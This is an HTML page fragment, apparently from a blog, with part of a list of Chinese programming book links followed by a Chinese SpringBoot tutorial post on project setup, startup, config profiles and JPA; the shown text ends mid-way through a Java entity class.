<li><a href="https://github.com/achun/Go-Blog-In-Action">Go语言博客实践</a></li>
<li><a href="http://blog.csdn.net/dc_726/article/details/46565241">Java程序员的Golang入门指南</a></li>
<li><a href="https://github.com/astaxie/NPWG_zh">Network programming with Go 中文翻译版本</a></li>
<li><a href="http://gorevel.cn/docs/manual/index.html">Revel 框架手册</a></li>
<li><a href="http://mikespook.com/learning-go/">学习Go语言</a></li>
<li><a href="http://go.ctolib.com/docs/read/magical-go-c-index.html">神奇的 Go 语言</a></li>
</ul>
<h3 id="groovy">Groovy</h3>
<ul>
<li><a href="http://www.ibm.com/developerworks/cn/java/j-pg/">实战 Groovy 系列</a></li>
</ul>
<h3 id="haskell">Haskell</h3>
<ul>
<li><a href="http://learnyoua.haskell.sg">Haskell 趣学指南</a></li>
<li><a href="http://cnhaskell.com">Real World Haskell 中文版</a></li>
</ul>
<h3 id="html--css">HTML / CSS</h3>
<ul>
<li><a href="https://github.com/waylau/css3-tutorial">CSS3 Tutorial 《CSS3 教程》</a></li>
<li><a href="http://css.doyoe.com">CSS参考手册</a></li>
<li><a href="http://yanxyz.github.io/emmet-docs/">Emmet 文档</a></li>
<li><a href="http://www.w3school.com.cn/html5/">HTML5 教程</a></li>
<li><a href="http://codeguide.bootcss.com">HTML和CSS编码规范</a></li>
<li><a href="http://sass-guidelin.es/zh/">Sass Guidelines 中文</a></li>
<li><a href="http://alloyteam.github.io/CodeGuide/">前端代码规范</a> (腾讯 AlloyTeam 团队)</li>
<li><a href="http://zh.learnlayout.com">学习CSS布局</a></li>
<li><a href="https://github.com/chadluo/CSS-Guidelines/blob/master/README.md">通用 CSS 笔记、建议与指导</a></li>
</ul>
<h3 id="ios">iOS</h3>
<ul>
<li><a href="http://nilsun.github.io/apple-watch/">Apple Watch开发初探</a></li>
<li><a href="http://zh-google-styleguide.readthedocs.org/en/latest/google-objc-styleguide/">Google Objective-C Style Guide 中文版</a></li>
<li><a href="http://isux.tencent.com/ios-human-interface-guidelines-ui-design-basics-ios7.html">iOS7人机界面指南</a></li>
<li><a href="https://github.com/qinjx/30min_guides/blob/master/ios.md">iOS开发60分钟入门</a></li>
<li><a href="http://wileam.com/iphone-6-screen-cn/">iPhone 6 屏幕揭秘</a></li>
<li><a href="https://github.com/jkyin/Subtitle">网易斯坦福大学公开课:iOS 7应用开发字幕文件</a></li>
</ul>
<h3 id="java">Java</h3>
<ul>
<li><a href="https://github.com/waylau/activiti-5.x-user-guide">Activiti 5.x 用户指南</a></li>
<li><a href="https://github.com/waylau/apache-mina-2.x-user-guide">Apache MINA 2 用户指南</a></li>
<li><a href="https://github.com/waylau/apache-shiro-1.2.x-reference">Apache Shiro 用户指南</a></li>
<li><a href="http://www.hawstein.com/posts/google-java-style.html">Google Java编程风格指南</a></li>
<li><a href="https://github.com/waylau/h2-database-doc">H2 Database 教程</a></li>
<li><a href="https://github.com/waylau/servlet-3.1-specification">Java Servlet 3.1 规范</a></li>
<li><a href="https://github.com/waylau/java-code-conventions">Java 编码规范</a></li>
<li><a href="https://github.com/waylau/Jersey-2.x-User-Guide">Jersey 2.x 用户指南</a></li>
<li><a href="https://github.com/waylau/jsse-reference-guide">JSSE 参考指南</a></li>
<li><a href="http://mybatis.github.io/mybatis-3/zh/index.html">MyBatis中文文档</a></li>
<li><a href="https://github.com/waylau/netty-4-user-guide">Netty 4.x 用户指南</a></li>
<li><a href="https://github.com/waylau/essential-netty-in-action">Netty 实战(精髓)</a></li>
<li><a href="https://github.com/waylau/rest-in-action">REST 实战</a></li>
<li><a href="https://github.com/qibaoguang/Spring-Boot-Reference-Guide">Spring Boot参考指南</a> (翻译中)</li>
<li><a href="https://github.com/waylau/spring-framework-4-reference">Spring Framework 4.x参考文档</a></li>
<li><a href="https://github.com/waylau/RestDemo">用jersey构建REST服务</a></li>
</ul>
<h3 id="javascript">Javascript</h3>
<ul>
<li><a href="https://github.com/adamlu/javascript-style-guide">Airbnb JavaScript 规范</a></li>
<li>AngularJS
<ul>
<li><a href="https://github.com/peiransun/angularjs-cn">AngularJS中译本</a></li>
<li><a href="https://github.com/zensh/AngularjsTutorial_cn">AngularJS入门教程</a></li>
<li><a href="https://github.com/mgechev/angularjs-style-guide/blob/master/README-zh-cn.md">AngularJS最佳实践和风格指南</a></li>
<li><a href="http://www.waylau.com/build-angularjs-app-with-yeoman-in-windows/">在Windows环境下用Yeoman构建AngularJS项目</a></li>
<li><a href="https://github.com/xufei/Make-Your-Own-AngularJS/blob/master/01.md">构建自己的AngularJS</a></li>
</ul>
</li>
<li>backbone.js
<ul>
<li><a href="http://www.css88.com/doc/backbone/">backbone.js中文文档</a></li>
<li><a href="http://www.the5fire.com/backbone-js-tutorials-pdf-download.html">backbone.js入门教程</a> (PDF)</li>
<li><a href="https://github.com/the5fire/backbonejs-learning-note">Backbone.js入门教程第二版</a></li>
</ul>
</li>
<li><a href="http://www.ituring.com.cn/minibook/950">Chrome扩展及应用开发</a></li>
<li>CoffeeScript
<ul>
<li><a href="https://github.com/geekplux/coffeescript-style-guide">CoffeeScript 编码风格指南</a></li>
</ul>
</li>
<li>D3.js
<ul>
<li><a href="http://www.ourd3js.com/wordpress/?cat=2">D3.js 入门系列</a> (还有进阶、高级等系列)</li>
<li><a href="https://github.com/mbostock/d3/wiki/API--%E4%B8%AD%E6%96%87%E6%89%8B%E5%86%8C">官方API文档</a></li>
<li><a href="http://blog.csdn.net/zhang__tianxu/article/category/1623437">张天旭的D3教程</a></li>
<li><a href="http://www.cnblogs.com/winleisure/tag/D3.js/">楚狂人的D3教程</a></li>
</ul>
</li>
<li><a href="http://es6.ruanyifeng.com">ECMAScript 6 入门</a> (作者:阮一峰)</li>
<li>ExtJS
<ul>
<li><a href="http://extjs-doc-cn.github.io/ext4api/">Ext4.1.0 中文文档</a></li>
</ul>
</li>
<li><a href="http://bq69.com/blog/articles/script/868/google-javascript-style-guide.html">Google JavaScript 代码风格指南</a></li>
<li><a href="https://github.com/darcyliu/google-styleguide/blob/master/JSONStyleGuide.md">Google JSON 风格指南</a></li>
<li>impress.js
<ul>
<li><a href="https://github.com/kokdemo/impress.js-tutorial-in-Chinese">impress.js的中文教程</a></li>
</ul>
</li>
<li><a href="http://liubin.github.io/promises-book/">JavaScript Promise迷你书</a></li>
<li><a href="http://typeof.net/s/jsmech/">Javascript 原理</a></li>
<li><a href="http://javascript.ruanyifeng.com">JavaScript 标准参考教程(alpha)</a></li>
<li><a href="https://github.com/jayli/javascript-patterns">《JavaScript 模式》</a> “JavaScript patterns”中译本</li>
<li><a href="https://github.com/justjavac/12-javascript-quirks">javascript 的 12 个怪癖</a></li>
<li><a href="http://bonsaiden.github.io/JavaScript-Garden/zh/">JavaScript 秘密花园</a></li>
<li><a href="http://icodeit.org/jsccp/">JavaScript核心概念及实践</a> (PDF) (此书已由人民邮电出版社出版发行,但作者依然免费提供PDF版本,希望开发者们去购买,支持作者)</li>
<li><a href="http://pij.robinqu.me">Javascript编程指南</a> (<a href="https://github.com/RobinQu/Programing-In-Javascript">源码</a>)</li>
<li>jQuery
<ul>
<li><a href="http://i5ting.github.io/How-to-write-jQuery-plugin/build/jquery.plugin.html">How to write jQuery plugin</a></li>
<li><a href="http://www.nowamagic.net/librarys/books/contents/jquery">简单易懂的JQuery魔法</a></li>
</ul>
</li>
<li>Meteor
<ul>
<li><a href="http://zh.discovermeteor.com">Discover Meteor</a></li>
</ul>
</li>
<li>Node.js
<ul>
<li><a href="http://expressjs.jser.us">express.js 中文文档</a></li>
<li><a href="http://javascript.ruanyifeng.com/nodejs/express.html">Express框架</a></li>
<li><a href="https://github.com/guo-yu/koa-guide">koa 中文文档</a></li>
<li><a href="https://www.npmjs.com/package/learnyounode-zh-cn">Learn You The Node.js For Much Win! (中文版)</a></li>
<li><a href="http://i5ting.github.io/node-debug-tutorial/">Node debug 三法三例</a></li>
<li><a href="https://github.com/jollen/nodejs-fullstack-lessons">Node.js Fullstack《從零到一的進撃》</a></li>
<li><a href="https://github.com/alsotang/node-lessons">Node.js 包教不包会</a></li>
<li><a href="https://github.com/nodejs-tw/nodejs-wiki-book">Nodejs Wiki Book</a> (繁体中文)</li>
<li><a href="https://www.gitbook.com/book/0532/nodejs/details">nodejs中文文档</a></li>
<li><a href="http://www.nodebeginner.org/index-zh-cn.html">Node入门</a></li>
<li><a href="http://nqdeng.github.io/7-days-nodejs/">七天学会NodeJS</a></li>
<li><a href="https://github.com/nswbmw/N-blog">使用 Express + MongoDB 搭建多人博客</a>
* <a href="http://nodejs.ctolib.com/docs/sfile/jstraining/engineering.html">JavaScript全栈工程师培训材料</a></li>
</ul>
</li>
<li>React.js
<ul>
<li><a href="https://github.com/theJian/build-a-hn-front-page">Learn React & Webpack by building the Hacker News front page</a></li>
<li><a href="http://wiki.jikexueyuan.com/project/react-native/">React Native 中文文档(含最新Android内容)</a></li>
<li><a href="https://github.com/fakefish/react-webpack-cookbook">React webpack-cookbook</a></li>
<li><a href="http://fraserxu.me/intro-to-react/">React 入门教程</a></li>
<li><a href="http://reactjs.cn">React.js 中文文档</a></li>
</ul>
</li>
<li>underscore.js
<ul>
<li><a href="http://learningcn.com/underscore/">Underscore.js中文文档</a></li>
</ul>
</li>
<li><a href="https://github.com/getify/You-Dont-Know-JS">You-Dont-Know-JS</a> (深入JavaScript语言核心机制的系列图书)</li>
<li>Zepto.js
<ul>
<li><a href="http://css88.com/doc/zeptojs_api">Zepto.js 中文文档</a></li>
</ul>
</li>
<li><a href="http://justjavac.com/named-function-expressions-demystified.html">命名函数表达式探秘</a> (注:原文由<a href="http://www.cn-cuckoo.com">为之漫笔</a> 翻译,原始地址无法打开,所以此处地址为我博客上的备份)</li>
<li><a href="http://www.oschina.net/translate/learning-javascript-design-patterns">学用 JavaScript 设计模式</a> (开源中国)</li>
<li><a href="http://www.cnblogs.com/TomXu/archive/2011/12/15/2288411.html">深入理解JavaScript系列</a></li>
</ul>
<h3 id="latex">LaTeX</h3>
<ul>
<li><a href="http://www.dralpha.com/zh/tech/tech.htm">LaTeX 笔记</a></li>
<li><a href="http://ctan.org/pkg/lshort-zh-cn">一份不太简短的 LaTeX2ε 介绍</a></li>
<li><a href="https://github.com/49951331/graduate-project-102pj/blob/master/docs/latex123.pdf">大家來學 LaTeX</a> (PDF)</li>
</ul>
<h3 id="lisp">LISP</h3>
<ul>
<li><a href="http://acl.readthedocs.org/en/latest/">ANSI Common Lisp 中文翻译版</a></li>
<li><a href="http://www.ituring.com.cn/minibook/862">Common Lisp 高级编程技术</a> (《On Lisp》中文版)</li>
</ul>
<h3 id="lua">Lua</h3>
<ul>
<li><a href="http://www.w3cschool.cc/manual/lua53doc/contents.html">Lua 5.3 参考手册</a></li>
</ul>
<h3 id="markdown">Markdown</h3>
<ul>
<li><a href="http://wowubuntu.com/markdown/basic.html">Markdown 快速入门</a></li>
<li><a href="http://www.jianshu.com/p/7bd23251da0a">Markdown 简明教程</a></li>
<li><a href="http://wowubuntu.com/markdown/">Markdown 语法说明</a></li>
<li><a href="http://www.jianshu.com/p/q81RER">献给写作者的 Markdown 新手指南</a></li>
</ul>
<h3 id="nodejs">Node.js</h3>
<ul>
<li><a href="http://www.nodebeginner.org/index-zh-cn.html">Node 入门</a></li>
<li><a href="https://www.gitbook.com/book/0532/nodejs/details">The NodeJS 中文文档</a> (社区翻译)</li>
<li><a href="http://nqdeng.github.io/7-days-nodejs/">七天学会NodeJS</a> 阿里出品,很好的入门资料</li>
</ul>
<h3 id="perl">Perl</h3>
<ul>
<li><a href="https://github.com/fayland/chinese-perl-book">Master Perl Today</a></li>
<li><a href="https://github.com/horus/modern_perl_book">《Modern Perl》中文版</a></li>
<li><a href="http://net.pku.edu.cn/~yhf/tutorial/perl/perl.html">Perl 5 教程</a></li>
<li><a href="http://www.yiibai.com/perl">Perl 教程</a></li>
</ul>
<h3 id="php">PHP</h3>
<ul>
<li><a href="http://wulijun.github.io/php-the-right-way/">PHP 之道</a></li>
<li><a href="http://php.net/manual/zh/">PHP5中文手册</a></li>
<li><a href="http://www.walu.cc/phpbook/preface.md">PHP扩展开发及内核应用</a></li>
<li><a href="https://wusuopu.gitbooks.io/symfony2_tutorial/content">Symfony2 实例教程</a></li>
<li><a href="http://www.php-internals.com/book/">深入理解 PHP 内核</a></li>
</ul>
<h3 id="python">Python</h3>
<ul>
<li><a href="http://djangobook.py3k.cn/2.0/">Django book 2.0</a></li>
</ul>
SpringBoot 笔记
2017-05-30T00:00:00+00:00
http://fish267.github.io/2017/05/30/springboot-notes
<p><img src="https://gw.alipayobjects.com/zos/rmsportal/SsfeVuUTqWAFuUDeBfaz.jpg" alt="post-getting-started-with-spring-boot" /></p>
<p>营销测试工具工程实现, 基于<code> SpringBoot </code>, 码了一段时间, 整理一下笔记, 真的<strong>特别好用!!!</strong> 最直观的感受有下面三方面:</p>
<ul>
<li>无 xml 配置!!!</li>
<li>内嵌 tomcat</li>
<li>组件选配</li>
</ul>
<h2 id="1-创建工程">1. 创建工程</h2>
<h2 id="11-使用-idea-创建">1.1 使用 IDEA 创建</h2>
<p>个人推荐使用 IDEA 来创建, 省事. 不需要下载, 解压, 顺带还指定安装目录.</p>
<!--more-->
<p><img src="https://gw.alipayobjects.com/zos/rmsportal/yuhULmWwmYVLzrSnzxsy.png" alt="image" />
<img src="https://gw.alipayobjects.com/zos/rmsportal/tpdXcMTNhkgOPVsDhFSt.png" alt="image" />
<img src="https://gw.alipayobjects.com/zos/rmsportal/IgKOcPTJWRuGMlwBJgRi.png" alt="image" /></p>
<h2 id="12-官网创建工程">1.2 官网创建工程</h2>
<p>打开官网 <a href="http://start.spring.io/">http://start.spring.io/</a>, 填入 Group Artifact 等, 勾选依赖的组件, 点击 <b>Generate Project</b>, 下载 ZIP. 然后导入IDEA.</p>
<hr />
<p>创建后的目录结构如下:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
├── mvnw
├── mvnw.cmd
├── pom.xml
├── promoboot.iml
├── src
│ ├── main
│ │ ├── java
│ │ └── resources
│ └── <span class="nb">test</span>
│ └── java
└── target
├── classes
│ ├── application.properties
│ └── com
├── generated-sources
│ └── annotations
├── generated-test-sources
│ └── test-annotations
└── test-classes
└── com
</code></pre></div></div>
<h1 id="2-启动工程">2. 启动工程</h1>
<p>在启动文件中, 添加个 Controller 并启动测试一下, 默认的 <b>server.port=8080</b></p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Controller</span>
<span class="nd">@SpringBootApplication</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">PromobootApplication</span> <span class="o">{</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="nc">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">SpringApplication</span><span class="o">.</span><span class="na">run</span><span class="o">(</span><span class="nc">PromobootApplication</span><span class="o">.</span><span class="na">class</span><span class="o">,</span> <span class="n">args</span><span class="o">);</span>
<span class="o">}</span>
<span class="nd">@RequestMapping</span><span class="o">(</span><span class="s">"/"</span><span class="o">)</span>
<span class="nd">@ResponseBody</span>
<span class="nc">String</span> <span class="nf">home</span><span class="o">()</span> <span class="o">{</span>
<span class="k">return</span> <span class="s">"Hello World!"</span><span class="o">;</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<p><img src="https://gw.alipayobjects.com/zos/rmsportal/ykTxEFestXQaepzIDVUl.png" alt="image" /></p>
<p><b>启动工程的方式有如下几个:</b></p>
<h2 id="21-springboot启动--idea-启动">2.1 SpringBoot启动 — IDEA 启动</h2>
<p>直接启动<code>main</code>函数</p>
<h2 id="22-springboot启动--mvn-命令启动">2.2 SpringBoot启动 — mvn 命令启动</h2>
<p>执行下面命令, 直接启动:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mvn spring-boot:run
</code></pre></div></div>
<h2 id="23-springboot启动---打包部署启动">2.3 SpringBoot启动 — 打包部署启动</h2>
<p>打包并部署放到生产环境</p>
<p>首先创建 Jar 包</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mvn package
</code></pre></div></div>
<p>然后使用 <code>java -jar</code> 命令启动</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>java <span class="nt">-jar</span> target/promoboot-0.0.1-SNAPSHOT.jar
</code></pre></div></div>
<p><img src="https://gw.alipayobjects.com/zos/rmsportal/cPvofjLrpbYBBdyWvqLf.png" alt="image" /></p>
<h2 id="24-springboot-热部署">2.4 SpringBoot 热部署</h2>
<p>改完代码, 每次启动工程挺费时的, SpringBoot 支持热部署需要添加 <code>spring-boot-devtools</code> 依赖, 可以手动添加, 也可以在创建 SpringBoot 时勾选 DevTools, 如下图:</p>
<p><img src="https://gw.alipayobjects.com/zos/rmsportal/gzzsPtDwOfKFPEeJTnDb.png" alt="image" /></p>
<p>下面说一下手工添加的方式:</p>
<ul>
<li>手动添加 devtools 依赖, 设置 optional = true</li>
</ul>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o"><</span><span class="n">dependency</span><span class="o">></span>
<span class="o"><</span><span class="n">groupId</span><span class="o">></span><span class="n">org</span><span class="o">.</span><span class="na">springframework</span><span class="o">.</span><span class="na">boot</span><span class="o"></</span><span class="n">groupId</span><span class="o">></span>
<span class="o"><</span><span class="n">artifactId</span><span class="o">></span><span class="n">spring</span><span class="o">-</span><span class="n">boot</span><span class="o">-</span><span class="n">devtools</span><span class="o"></</span><span class="n">artifactId</span><span class="o">></span>
<span class="o"><</span><span class="n">optional</span><span class="o">></span><span class="kc">true</span><span class="o"></</span><span class="n">optional</span><span class="o">></span>
<span class="o"></</span><span class="n">dependency</span><span class="o">></span>
</code></pre></div></div>
<ul>
<li>使用 <code>mvn spring-boot:run</code> 启动</li>
</ul>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mvn spring-boot:run
</code></pre></div></div>
<p>可以看到多了一条监听 class 变更的日志</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>18:26:43.631 <span class="o">[</span>main] DEBUG org.springframework.boot.devtools.restart.ChangeableUrls - Matching URLs <span class="k">for </span>reloading : <span class="o">[</span>file:/Users/fish/AliDrive/git/springbootdemo/target/classes/]
</code></pre></div></div>
<p>此时修改代码, 就可以无脑看执行结果了!</p>
<p><b>另外, IDEA 设置一下字段编译, 如下图 </b></p>
<p><img src="https://gw.alipayobjects.com/zos/rmsportal/dvljHJzjpUHMqCxlWJlu.png" alt="image" /></p>
<h2 id="25-开启本地-debug-端口">2.5 开启本地 Debug 端口</h2>
<p>参考文档<a href="http://docs.spring.io/spring-boot/docs/current/maven-plugin/examples/run-debug.html">Debug the application</a> , 开启本地 Debug 端口使用如下方法:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">mvn</span> <span class="n">spring</span><span class="o">-</span><span class="nl">boot:</span><span class="n">run</span> <span class="o">-</span><span class="nc">Drun</span><span class="o">.</span><span class="na">jvmArguments</span><span class="o">=</span><span class="s">"-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005"</span>
</code></pre></div></div>
<h1 id="3-配置文件读取与环境隔离">3. 配置文件读取与环境隔离</h1>
<p>初始化的工程, 自带了<code>application.properties</code>配置文件.</p>
<h2 id="31-使用-yaml-替换-properties">3.1 使用 yaml 替换 properties</h2>
<p>其实框架默认支持 <code>Ruby on Rails</code> 惯用的 <code>yaml</code> 格式配置文件, 非常建议大家使用<b> yaml</b> 来替换掉 <code>properties</code> , 配置文件看起来短多了, 对比如下:</p>
<ul>
<li>使用 <code>properties</code></li>
</ul>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>server.port <span class="o">=</span> 8080
server.context-path <span class="o">=</span> <span class="s1">'/boot'</span>
</code></pre></div></div>
<ul>
<li>使用 <code>yaml</code></li>
</ul>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>server:
port: 8080
context-path: <span class="s1">'/boot'</span>
</code></pre></div></div>
<p>此外, <code>yaml</code> 语法还支持变量定义等, 详细用法可以查看文档 <a href="http://docs.ansible.com/ansible/YAMLSyntax.html">YAML Syntax</a></p>
<h2 id="32-开发测试生产-环境配置隔离">3.2 开发/测试/生产 环境配置隔离</h2>
<p>对于程序员, 手动改配置是一项不能忍的工作, 好在 spingboot 完美的支持配置文件隔离. 操作如下:</p>
<p>新增 开发/测试/生产 配置文件:</p>
<p><img src="https://gw.alipayobjects.com/zos/rmsportal/eKdgeGIxCGyzKjiBwVTm.png" alt="image" /></p>
<p>配置 <code>application.properties</code> 中的内容, 比如启用 dev 环境, 设置 active = dev, 就启用了<code> application-dev.yaml</code> :</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>spring:
profiles:
active: dev
</code></pre></div></div>
<p>本地开发时, 使用 <code>mvn spring-boot:run </code>启动的工程, 可以自动生效.</p>
<h2 id="32-线上部署-配置环境隔离">3.2 线上部署, 配置环境隔离</h2>
<p>上面提到过 Jar 包的部署方式, 同一套代码部署到不同环境时, 不需要修改配置文件, 使用下面的命令来部署:</p>
<ul>
<li>将服务部署到生产环境(prod)</li>
</ul>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mvn <span class="nb">install</span> <span class="o">&&</span> java <span class="nt">-jar</span> target/promoboot-0.0.1-SNAPSHOT.jar <span class="nt">--spring</span>.profiles.active<span class="o">=</span>prod
</code></pre></div></div>
<h2 id="34-读取配置文件中的值">3.4 读取配置文件中的值</h2>
<p>类似 sofa 框架的 <code>@AppConfig</code> 注解, SpringBoot 在读取配置文件时, 关键词是</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 获取单个配置值</span>
<span class="nd">@Value</span><span class="o">(</span><span class="s">"${xx.oo}"</span><span class="o">)</span>
<span class="c1">// 自定义对象注入</span>
<span class="nd">@Component</span>
<span class="nd">@ConfigurationProperties</span>
</code></pre></div></div>
<h3 id="341-读取单个配置的值">3.4.1 读取单个配置的值</h3>
<p><code>application.yaml </code>配置如下:</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">params</span><span class="pi">:</span>
<span class="na">env</span><span class="pi">:</span> <span class="s">stable</span>
</code></pre></div></div>
<p>代码中使用如下方式获取:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Value</span><span class="o">(</span><span class="s">"${params.env}"</span><span class="o">)</span>
<span class="kd">private</span> <span class="nc">String</span> <span class="n">env</span><span class="o">;</span>
</code></pre></div></div>
<h3 id="342-自定义个对象进行注入">3.4.2 自定义个对象进行注入</h3>
<p>如果某一个类型的参数实在多, 使用上面的方式非常繁琐, SpringBoot 支持直接映射到对象中.</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">apple</span><span class="pi">:</span>
<span class="na">size</span><span class="pi">:</span> <span class="m">20</span>
<span class="na">color</span><span class="pi">:</span> <span class="s">red</span>
<span class="na">weight</span><span class="pi">:</span> <span class="m">300</span>
</code></pre></div></div>
<p>然后定义个 Apple 的类, 添加上 <code>Component</code> 和 <code>ConfigurationProperties</code> 注解.</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Component</span>
<span class="nd">@ConfigurationProperties</span><span class="o">(</span><span class="n">prefix</span> <span class="o">=</span> <span class="s">"apple"</span><span class="o">)</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">Apple</span> <span class="o">{</span>
<span class="kd">private</span> <span class="nc">String</span> <span class="n">name</span><span class="o">;</span>
<span class="kd">private</span> <span class="kt">int</span> <span class="n">size</span><span class="o">;</span>
<span class="kd">private</span> <span class="nc">String</span> <span class="n">color</span><span class="o">;</span>
<span class="kd">private</span> <span class="kt">int</span> <span class="n">weight</span><span class="o">;</span>
<span class="kd">public</span> <span class="nc">String</span> <span class="nf">getName</span><span class="o">()</span> <span class="o">{</span>
<span class="k">return</span> <span class="n">name</span><span class="o">;</span>
<span class="o">}</span>
<span class="o">......</span>
</code></pre></div></div>
<p>最后, 引用方式如下:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Autowired</span>
<span class="kd">private</span> <span class="nc">Apple</span> <span class="n">apple</span><span class="o">;</span>
</code></pre></div></div>
<p>这样<code> Apple </code>的配置就映射进来了, 当然你也可以在他的属性上添加 <code>@NotEmpty</code> 等注解. 比如在 color 属性上添加 @NotEmpty, 配置文件中置空, 系统自动编译会直接报错的:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">***************************</span>
APPLICATION FAILED TO START
<span class="k">***************************</span>
Description:
Binding to target Apple<span class="o">{</span><span class="nv">name</span><span class="o">=</span><span class="s1">'lol'</span>, <span class="nv">size</span><span class="o">=</span>20, <span class="nv">cllor</span><span class="o">=</span><span class="s1">''</span>, <span class="nv">weight</span><span class="o">=</span>300<span class="o">}</span> failed:
Property: apple.color
Value:
Reason: may not be empty
</code></pre></div></div>
<h1 id="4-controller">4. Controller</h1>
<ul>
<li>SpringMVC</li>
</ul>
<p><img src="https://gw.alipayobjects.com/zos/rmsportal/UMmfQtixWepCkwDaiFuW.jpg" alt="rcontroller-mvc" /></p>
<ul>
<li>SpringBoot</li>
</ul>
<p><img src="https://gw.alipayobjects.com/zos/rmsportal/WCYTjjeTrAuYlaWmJiSf.jpg" alt="rcontroller-rest" /></p>
<p>从上面两个图可见, 两个框架提供的功能是一样的, SpringBoot 更简单, 还挺好用:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@RestController</span> <span class="o">=</span> <span class="nd">@Controller</span> <span class="o">+</span> <span class="nd">@ResponseBody</span>
<span class="nd">@GetMapping</span><span class="o">(</span><span class="n">value</span><span class="o">=</span><span class="s">"xx"</span><span class="o">)</span> <span class="o">=</span> <span class="nd">@RequestMapping</span><span class="o">(</span><span class="n">value</span> <span class="o">=</span> <span class="s">"xx"</span><span class="o">,</span> <span class="n">method</span> <span class="o">=</span> <span class="nc">RequestMethod</span><span class="o">.</span><span class="na">GET</span><span class="o">)</span>
<span class="nd">@PostMapping</span><span class="o">(</span><span class="n">value</span><span class="o">=</span><span class="s">"xx"</span><span class="o">)</span> <span class="o">=</span> <span class="nd">@RequestMapping</span><span class="o">(</span><span class="n">value</span> <span class="o">=</span> <span class="s">"xx"</span><span class="o">,</span> <span class="n">method</span> <span class="o">=</span> <span class="nc">RequestMethod</span><span class="o">.</span><span class="na">POST</span><span class="o">)</span>
</code></pre></div></div>
<h1 id="5-数据库操作-jpa">5. 数据库操作 JPA</h1>
<p>操作数据库, 常见的 JDBC, MyBatis等, 不再赘述. 项目中使用的是 <code>JPA</code>, 非常简洁.</p>
<h2 id="51-什么是-jpa">5.1 什么是 JPA</h2>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>JPA(Java Persistence API)是Sun官方提出的Java持久化规范, 它为Java开发人员提供了一种对象/关联映射工具来管理Java应用中的关系数据, 目的是整合现有的 ORM 技术.
</code></pre></div></div>
<h2 id="52-工程配置">5.2 工程配置</h2>
<h3 id="521-添加依赖">5.2.1 添加依赖</h3>
<p>比如使用 mysql 数据库, 那么在<code> pom.xml </code>中添加 <code>jpa mysql</code> 依赖</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c"><!--使用spring-jpa--></span>
<span class="nt"><dependency></span>
<span class="nt"><groupId></span>org.springframework.boot<span class="nt"></groupId></span>
<span class="nt"><artifactId></span>spring-boot-starter-data-jpa<span class="nt"></artifactId></span>
<span class="nt"></dependency></span>
<span class="c"><!--mysql 依赖添加--></span>
<span class="nt"><dependency></span>
<span class="nt"><groupId></span>mysql<span class="nt"></groupId></span>
<span class="nt"><artifactId></span>mysql-connector-java<span class="nt"></artifactId></span>
<span class="nt"></dependency></span>
</code></pre></div></div>
<h3 id="522-数据库配置">5.2.2 数据库配置</h3>
<p>编辑<code> application-dev.yaml </code>文件</p>
<pre><code class="language-mysql">spring:
# 数据库配置
datasource:
username: oooo
password: xxxx
url: jdbc:mysql://dev.lab.alipay.net:3306/promotion
driver-class-name: com.mysql.jdbc.Driver
# 配置 hibernate 属性
jpa:
hibernate:
ddl-auto: update
show-sql: true
</code></pre>
<p>ddl-auto 是 hibernate 的配置属性, 对应的作用是:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>create: 删表, 重新创建表(慎用)
update: 常用配置, ,第一次加载Hibernate时创建数据表, 以后加载HIbernate时只会根据model更新
validate: 验证数据库表结构
</code></pre></div></div>
<h3 id="523-创建实体">5.2.3 创建实体</h3>
<p>比如创建一个 <code>Robot</code> 实体, 自定义一些属性:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Entity</span>
<span class="nd">@Table</span><span class="o">(</span><span class="n">name</span> <span class="o">=</span> <span class="s">"robot"</span><span class="o">)</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">RobotDO</span> <span class="o">{</span>
<span class="nd">@Id</span>
<span class="nd">@GeneratedValue</span>
<span class="kd">private</span> <span class="kt">long</span> <span class="n">id</span><span class="o">;</span>
<span class="nd">@Column</span><span class="o">(</span><span class="n">nullable</span> <span class="o">=</span> <span class="kc">false</span><span class="o">)</span>
<span class="kd">private</span> <span class="nc">String</span> <span class="n">robotName</span><span class="o">;</span>
